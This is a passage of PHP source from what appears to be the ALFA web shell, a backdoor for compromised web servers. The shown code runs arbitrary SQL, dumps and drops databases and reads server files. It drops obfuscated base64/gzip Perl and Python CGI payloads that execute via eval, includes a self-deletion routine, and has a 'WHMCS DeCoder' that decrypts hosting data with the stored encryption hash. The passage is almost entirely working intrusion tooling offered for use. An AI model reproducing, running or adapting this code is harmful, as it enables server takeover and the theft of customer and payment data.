  5876. <td><input type='text' name='sql_login' id='db_user' value='" . (empty($_POST['sql_login']) ? '' : htmlspecialchars($_POST['sql_login'])) . "'></td>
  5877. <td><input type='text' name='sql_pass' id='db_pw' value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
  5878. $tmp = "<input type='text' name='sql_base' id='db_name' value='" . (empty($_POST['sql_base']) ? '' : htmlspecialchars($_POST['sql_base'])) . "'>";
  5879. if (isset($_POST['sql_host'])) {
  5880. if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  5881. $_SESSION["sql_host"] = $_POST['sql_host'];
  5882. $_SESSION["sql_login"] = $_POST['sql_login'];
  5883. $_SESSION["sql_pass"] = $_POST['sql_pass'];
  5884. $_SESSION["sql_base"] = $_POST['sql_base'];
  5885. switch ($_POST['charset']) {
  5886. case "Windows-1251":
  5887. $db->setCharset('calfa1251');
  5888. break;
  5889. case "UTF-8":
  5890. $db->setCharset('utf8');
  5891. break;
  5892. case "KOI8-R":
  5893. $db->setCharset('koi8r');
  5894. break;
  5895. case "KOI8-U":
  5896. $db->setCharset('koi8u');
  5897. break;
  5898. case "calfa866":
  5899. $db->setCharset('calfa866');
  5900. break;
  5901. }
  5902. $db->setCharset('utf8');
  5903. $db->listDbs();
  5904. echo "<select name=sql_base><option value=''></option>";
  5905. while ($item = $db->fetch()) {
  5906. list($key, $value) = each($item);
  5907. echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
  5908. }
  5909. echo '</select>';
  5910. } else
  5911. echo $tmp;
  5912. } else
  5913. echo $tmp;
  5914. echo "</td>
  5915. <td><input type='submit' value=' '></td>
  5916. <td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
  5917. </tr>
  5918. </table>
  5919. <script>mysql_cache['host']='" . addslashes($_POST['sql_host']) . "';mysql_cache['user']='" . addslashes($_POST['sql_login']) . "';mysql_cache['pass']='" . addslashes($_POST['sql_pass']) . "';mysql_cache['db']='" . addslashes($_POST['sql_base']) . "';mysql_cache['charset']='" . addslashes($_POST['charset']) . "';mysql_cache['type']='" . addslashes($_POST['type']) . "';mysql_cache['count']='" . addslashes($_POST['sql_count']) . "'</script>
  5920. ";
  5921. if (isset($db) && $db->link) {
  5922. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  5923. if (!empty($_POST['sql_base'])) {
  5924. $db->selectdb($_POST['sql_base']);
  5925. echo "<tr><td width=1 style='border-top:2px solid #666;'><div class='txtfont'>Tables:</div><br><br>";
  5926. $tbls_res = $db->listTables();
  5927. while ($item = $db->fetch($tbls_res)) {
  5928. list($key, $value) = each($item);
  5929. if (!empty($_POST['sql_count']))
  5930. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `' . $value . '`'));
  5931. $value = htmlspecialchars($value);
  5932. echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href='javascript:void(0);' onclick=\"fs('0','" . $value . "')\"><span class='mysql_tables' style='font-weight:unset;'>" . $value . "</span></a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</nobr><br>";
  5933. }
  5934. echo "<p><input type='checkbox' onclick='is();'> <input type='button' value=' Dump ' onclick=\"fs('4');\" class='button'> <input type='button' value=' Drop ! ' onclick=\"fs('5');\" class='button'></p><div class='txtfont'>File path:</div><input type='text' id='dumpfile' name='file' value='dump.sql'>" . ($dumpStatus ? '<p><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'dump.sql\', \'download\')"><font color="#0F0">~ Download File ~</font></a></p>' : '') . "</td><td style='border-top:2px solid #666;'>";
  5935. if (@$_POST['alfa1'] == 'select') {
  5936. $_POST['alfa1'] = 'query';
  5937. $_POST['alfa3'] = $_POST['alfa3'] ? $_POST['alfa3'] : 1;
  5938. $db->query('SELECT COUNT(*) as n FROM `' . $_POST['alfa2'] . '`');
  5939. $num = $db->fetch();
  5940. $pages = ceil($num['n'] / 30);
  5941. echo "<span>" . $_POST['alfa2'] . "</span> ({$num['n']} records) Page # <input type=text name='alfa3' value=" . ((int) $_POST['alfa3']) . ">";
  5942. echo " of $pages";
  5943. if ($_POST['alfa3'] > 1)
  5944. echo " <a href='javascript:void(0);' onclick=fs('1','[\"" . $_POST['alfa2'] . "\",\"" . ($_POST['alfa3'] - 1) . "\"]')>&lt; Prev</a>";
  5945. if ($_POST['alfa3'] < $pages)
  5946. echo " <a href='javascript:void(0);' onclick=fs('1','[\"" . $_POST['alfa2'] . "\",\"" . ($_POST['alfa3'] + 1) . "\"]')>Next &gt;</a>";
  5947. $_POST['alfa3']--;
  5948. $cache_table = $_POST['alfa2'];
  5949. if ($_POST['type'] == 'pgsql')
  5950. $_POST['alfa2'] = 'SELECT * FROM `' . $_POST['alfa2'] . '` LIMIT 30 OFFSET ' . ($_POST['alfa3'] * 30);
  5951. else
  5952. $_POST['alfa2'] = 'SELECT * FROM `' . $_POST['alfa2'] . '` LIMIT ' . ($_POST['alfa3'] * 30) . ',30';
  5953. echo "<br><br>";
  5954. }
  5955. if ((@$_POST['alfa1'] == 'query') && !empty($_POST['alfa2'])) {
  5956. $prikey = $db->fetch($db->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($_POST['sql_base']) . "' AND TABLE_NAME = '" . @addslashes($cache_table) . "' AND COLUMN_KEY = 'PRI'"));
  5957. $db->query(@$_POST['alfa2']);
  5958. if ($db->res !== false) {
  5959. $title = false;
  5960. echo '<table width="100%" cellspacing="1" cellpadding="2" class="main" style="background-color:#292929" border="1">';
  5961. $line = 1;
  5962. while ($item = $db->fetch()) {
  5963. if (!$title) {
  5964. echo '<tr><th>#</th>';
  5965. foreach ($item as $key => $value) {
  5966. echo '<th>' . $key . '</th>';
  5967. }
  5968. reset($item);
  5969. $title = true;
  5970. echo '</tr><tr>';
  5971. $line = 2;
  5972. }
  5973. if ($cache_table != '') {
  5974. $cacheMsg = '<a href="javascript:void(0);" onclick=fs(\'2\',\'["' . $cache_table . '","' . (!$prikey['COLUMN_NAME'] ? 0 : $prikey['COLUMN_NAME']) . '","' . __ZW5jb2Rlcg(json_encode((!$prikey['COLUMN_NAME'] ? $item : $item[$prikey['COLUMN_NAME']]))) . '"]\')>Edit</a>';
  5975. } else {
  5976. $cacheMsg = '-';
  5977. }
  5978. echo '<tr class="l' . $line . '"><td>' . $cacheMsg . '</td>';
  5979. $line = $line == 1 ? 2 : 1;
  5980. foreach ($item as $key => $value) {
  5981. if ($value == null)
  5982. echo '<td><i>null</i></td>';
  5983. else
  5984. echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
  5985. }
  5986. echo '</tr>';
  5987. }
  5988. echo '</table>';
  5989. } else {
  5990. echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  5991. }
  5992. }
  5993. echo ('</form>');
  5994. if ((@$_POST['alfa1'] == 'edit') && !empty($_POST['alfa2'])) {
  5995. $data = explode(':', $_POST['alfa3']);
  5996. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">' . $data[0] . '</font></p>');
  5997. echo ("<form onsubmit='fsu(this);return false;'><table border='1'>");
  5998. if ($data[1] != '0') {
  5999. $data[2] = __ZGVjb2Rlcg($data[2]);
  6000. $data[2] = str_replace('"', '', $data[2]);
  6001. $fetch = $db->fetch($db->query("SELECT * FROM `" . $data[0] . "` WHERE `" . $data[1] . "` = '" . $data[2] . "'"));
  6002. $fetch['__ALFAKEY'] = $data[1];
  6003. $fetch['__ALFAKEYVAL'] = $data[2];
  6004. } else {
  6005. $d = __ZGVjb2Rlcg($data[2]);
  6006. $fetch = json_decode($d, true);
  6007. }
  6008. foreach ($fetch as $key => $value) {
  6009. if ($key == '__ALFAKEY' || $key == '__ALFAKEYVAL')
  6010. continue;
  6011. $value = htmlspecialchars($value);
  6012. echo ("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  6013. }
  6014. echo ("</table><input type='hidden' name='__ALFADATA' value='" . __ZW5jb2Rlcg(json_encode(($data[1] != '0' ? array(
  6015. '__ALFAKEY' => $data[1],
  6016. '__ALFAKEYVAL' => $data[2]
  6017. ) : $fetch))) . "'><input type='hidden' name='__ALFATBL' value='{$data[0]}'><input type='submit' value=' '></form>");
  6018. }
  6019. if ((@$_POST['alfa1'] == 'update') && !empty($_POST['alfa2'])) {
  6020. $data = json_decode($_POST['alfa2'], true);
  6021. $alfadata = $data['__ALFADATA'];
  6022. $data2 = json_decode(__ZGVjb2Rlcg($alfadata), true);
  6023. $keyval = array();
  6024. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">' . $data['__ALFATBL'] . '</font></p>');
  6025. echo ("<form onsubmit='fsu(this);return false;'><table border='1'>");
  6026. $set = '';
  6027. foreach ($data as $key => $value) {
  6028. if ($key == '__ALFATBL' || $key == '__ALFADATA')
  6029. continue;
  6030. if ($data2['__ALFAKEY'] == $key) {
  6031. $keyval['__ALFAKEY'] = $key;
  6032. $keyval['__ALFAKEYVAL'] = $value;
  6033. }
  6034. $set .= "`$key` = '" . addslashes($value) . "',";
  6035. $value = htmlspecialchars($value);
  6036. echo ("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  6037. }
  6038. unset($data['__ALFADATA']);
  6039. echo ("</table><input type='hidden' name='__ALFADATA' value='" . __ZW5jb2Rlcg(json_encode((isset($data2['__ALFAKEY']) ? array(
  6040. '__ALFAKEY' => $keyval['__ALFAKEY'],
  6041. '__ALFAKEYVAL' => $keyval['__ALFAKEYVAL']
  6042. ) : $data))) . "'><input type='hidden' name='__ALFATBL' value='{$data['__ALFATBL']}'><input type='submit' value=' '></form>");
  6043. if (!isset($data2['__ALFAKEY'])) {
  6044. $where = '';
  6045. foreach ($data2 as $key => $value) {
  6046. if ($key == '__ALFATBL' || $key == '__ALFADATA')
  6047. continue;
  6048. $value = addslashes($value);
  6049. $where .= "`$key` = '$value' AND ";
  6050. }
  6051. $where = substr($where, 0, -4);
  6052. } else {
  6053. $where = "`{$data2['__ALFAKEY']}` = '" . addslashes($data2['__ALFAKEYVAL']) . "'";
  6054. }
  6055. $set = substr($set, 0, -1);
  6056. $db->fetch($db->query("UPDATE `{$data['__ALFATBL']}` SET $set WHERE $where"));
  6057. if ($db->error())
  6058. echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  6059. else
  6060. echo ("Success...!");
  6061. }
  6062. if ($_POST['alfa1'] != 'edit' && $_POST['alfa1'] != 'update') {
  6063. echo "<p>Query:</p><form onsubmit='fs(this);return false;'>
  6064. <input type='hidden' name='alfa1' value='query'/>
  6065. <textarea name='query' style='width:100%;height:100px'>";
  6066. echo $_POST['alfa1'] != 'loadfile' ? htmlspecialchars($_POST['alfa2']) : '';
  6067. echo "</textarea><p><center><input type=submit value=' '></center></p></form>";
  6068. }
  6069. echo "</td></tr>";
  6070. }
  6071. echo "</table></form><br/>";
  6072. if ($_POST['type'] == 'mysql') {
  6073. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  6074. if ($db->fetch())
  6075. echo "<form onsubmit=\"fs('3',this.f.value);return false;\"><div class='txtfont'>Load file:</div> <input class='toolsInp' type='text' name='f'> <input type='submit' value=' '></form>";
  6076. }
  6077. if (@$_POST['alfa1'] == 'loadfile') {
  6078. $file = $db->loadFile($_POST['alfa2']);
  6079. echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
  6080. }
  6081. } else {
  6082. echo htmlspecialchars($db->error());
  6083. }
  6084. echo '</div>';
  6085. alfafooter();
  6086. }
  6087. function alfaselfrm()
  6088. {
  6089. if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'yes') {
  6090. echo (__pre() . '<center>');
  6091. if (@unlink($GLOBALS['__file_path'])) {
  6092. echo ('<b>Shell has been removed</i> :)</b>');
  6093. } else {
  6094. echo 'unlink error!';
  6095. }
  6096. echo ('</center>');
  6097. }
  6098. if (isset($_POST['alfa1']) && $_POST['alfa1'] != 'yes') {
  6099. echo "<div class=header>";
  6100. echo "
  6101. <center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
  6102. echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
  6103. echo '</p></center></div>';
  6104. }
  6105. }
  6106. function alfacgishell()
  6107. {
  6108. alfahead();
  6109. $div = "";
  6110. if (!in_array($_POST['alfa1'], array(
  6111. 'perl',
  6112. 'py'
  6113. ))) {
  6114. $div = "</div>";
  6115. echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a href=javascript:void(0) onclick="runcgi(\'perl\')">| Perl | </a><a href=javascript:void(0) onclick="runcgi(\'py\');">| Python | </a>';
  6116. }
  6117. if (isset($_POST['alfa1']) && in_array($_POST['alfa1'], array(
  6118. 'perl',
  6119. 'py'
  6120. ))) {
  6121. @mkdir('cgialfa', 0755);
  6122. @chdir('cgialfa');
  6123. alfacgihtaccess('cgi');
  6124. $name = $_POST['alfa1'] . '.alfa';
  6125. $perl = '#!/usr/bin/perl -I/usr/local/bandmin' . "\n" . 'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';
  6126. ;
  6127. $py = '#!/usr/bin/python' . "\nimport zlib, base64\n" . 'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
  6128. if ($_POST['alfa1'] == 'perl') {
  6129. $code = $perl;
  6130. } else {
  6131. $code = $py;
  6132. }
  6133. if (__write_file($name, $code)) {
  6134. @chmod($name, 0755);
  6135. echo '<iframe src="' . 'cgialfa/' . $name . '" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  6136. }
  6137. }
  6138. echo $div;
  6139. alfafooter();
  6140. }
  6141. function alfaWhmcs()
  6142. {
  6143. alfahead();
  6144. echo '<div class=header>';
  6145. function decrypt($string, $cc_encryption_hash)
  6146. {
  6147. $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
  6148. $hash_key = _hash($key);
  6149. $hash_length = strlen($hash_key);
  6150. $string = __ZGVjb2Rlcg($string);
  6151. $tmp_iv = substr($string, 0, $hash_length);
  6152. $string = substr($string, $hash_length, strlen($string) - $hash_length);
  6153. $iv = $out = '';
  6154. $c = 0;
  6155. while ($c < $hash_length) {
  6156. $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
  6157. ++$c;
  6158. }
  6159. $key = $iv;
  6160. $c = 0;
  6161. while ($c < strlen($string)) {
  6162. if (($c != 0 AND $c % $hash_length == 0)) {
  6163. $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
  6164. }
  6165. $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
  6166. ++$c;
  6167. }
  6168. return $out;
  6169. }
  6170. function _hash($string)
  6171. {
  6172. if (function_exists('sha1')) {
  6173. $hash = sha1($string);
  6174. } else {
  6175. $hash = md5($string);
  6176. }
  6177. $out = '';
  6178. $c = 0;
  6179. while ($c < strlen($hash)) {
  6180. $out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
  6181. $c += 2;
  6182. }
  6183. return $out;
  6184. }
  6185. echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>" . getConfigHtml('whmcs') . "</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
  6186. <input type='hidden' name='form_action' value='2'>";
  6187. $table = array(
  6188. 'td1' => array(
  6189. 'color' => 'FFFFFF',
  6190. 'tdName' => 'db_host : ',
  6191. 'inputName' => 'db_host',
  6192. 'id' => 'db_host',
  6193. 'inputValue' => 'localhost',
  6194. 'inputSize' => '50'
  6195. ),
  6196. 'td2' => array(
  6197. 'color' => 'FFFFFF',
  6198. 'tdName' => 'db_username : ',
  6199. 'inputName' => 'db_username',
  6200. 'id' => 'db_user',
  6201. 'inputValue' => '',
  6202. 'inputSize' => '50'
  6203. ),
  6204. 'td3' => array(
  6205. 'color' => 'FFFFFF',
  6206. 'tdName' => 'db_password : ',
  6207. 'inputName' => 'db_password',
  6208. 'id' => 'db_pw',
  6209. 'inputValue' => '',
  6210. 'inputSize' => '50'
  6211. ),
  6212. 'td4' => array(
  6213. 'color' => 'FFFFFF',
  6214. 'tdName' => 'db_name : ',
  6215. 'inputName' => 'db_name',
  6216. 'id' => 'db_name',
  6217. 'inputValue' => '',
  6218. 'inputSize' => '50'
  6219. ),
  6220. 'td5' => array(
  6221. 'color' => 'FFFFFF',
  6222. 'tdName' => 'cc_encryption_hash : ',
  6223. 'inputName' => 'cc_encryption_hash',
  6224. 'id' => 'cc_encryption_hash',
  6225. 'inputValue' => '',
  6226. 'inputSize' => '50'
  6227. )
  6228. );
  6229. create_table($table);
  6230. echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
  6231. if ($_POST['alfa5'] != '') {
  6232. $db_host = ($_POST['alfa7']);
  6233. $db_username = ($_POST['alfa3']);
  6234. $db_password = ($_POST['alfa4']);
  6235. $db_name = ($_POST['alfa5']);
  6236. $cc_encryption_hash = ($_POST['alfa6']);
